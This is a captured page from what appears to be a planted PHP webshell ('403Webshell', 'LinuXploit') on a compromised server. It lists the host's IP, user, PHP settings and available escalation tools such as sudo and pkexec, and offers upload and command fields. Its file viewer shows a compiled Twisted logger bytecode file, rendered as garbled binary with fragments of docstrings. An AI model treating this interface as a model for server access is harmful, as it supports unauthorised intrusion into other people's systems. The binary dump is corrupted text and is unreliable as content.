403Webshell
Server IP : 195.114.193.97  /  Your IP : 216.73.217.93
Web Server : LiteSpeed
System : Linux host 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
User : sembi4241 ( 1126)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/logger/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/twisted/logger/__pycache__/_buffer.cpython-310.pyc
o

�b��@sZdZddlmZddlmZmZddlmZddlm	Z	m
Z
dZee	�Gdd	�d	��Zd
S)z'
Log observer that maintains a buffer.
�)�deque)�Deque�Optional)�implementer�)�ILogObserver�LogEventic@sNeZdZdZefdeeddfdd�Zdeddfdd	�Z	d
e
ddfdd�ZdS)
�LimitedHistoryLogObservera�
    L{ILogObserver} that stores events in a buffer of a fixed size::

        >>> from twisted.logger import LimitedHistoryLogObserver
        >>> history = LimitedHistoryLogObserver(5)
        >>> for n in range(10): history({'n': n})
        ...
        >>> repeats = []
        >>> history.replayTo(repeats.append)
        >>> len(repeats)
        5
        >>> repeats
        [{'n': 5}, {'n': 6}, {'n': 7}, {'n': 8}, {'n': 9}]
        >>>
    �size�returnNcCst|d�|_dS)zx
        @param size: The maximum number of events to buffer.  If L{None}, the
            buffer is unbounded.
        )�maxlenN)r�_buffer)�selfr
�r�8/usr/lib/python3/dist-packages/twisted/logger/_buffer.py�__init__%sz"LimitedHistoryLogObserver.__init__�eventcCs|j�|�dS)N)r
�append)rrrrr�__call__,sz"LimitedHistoryLogObserver.__call__�
otherObservercCs|jD]}||�qdS)z�
        Re-play the buffered events to another log observer.

        @param otherObserver: An observer to replay events to.
        N)r
)rrrrrr�replayTo/s

�z"LimitedHistoryLogObserver.replayTo)�__name__�
__module__�__qualname__�__doc__�_DEFAULT_BUFFER_MAXIMUMr�intrrrrrrrrrr	s
r	N)
r�collectionsr�typingrr�zope.interfacer�_interfacesrrrr	rrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit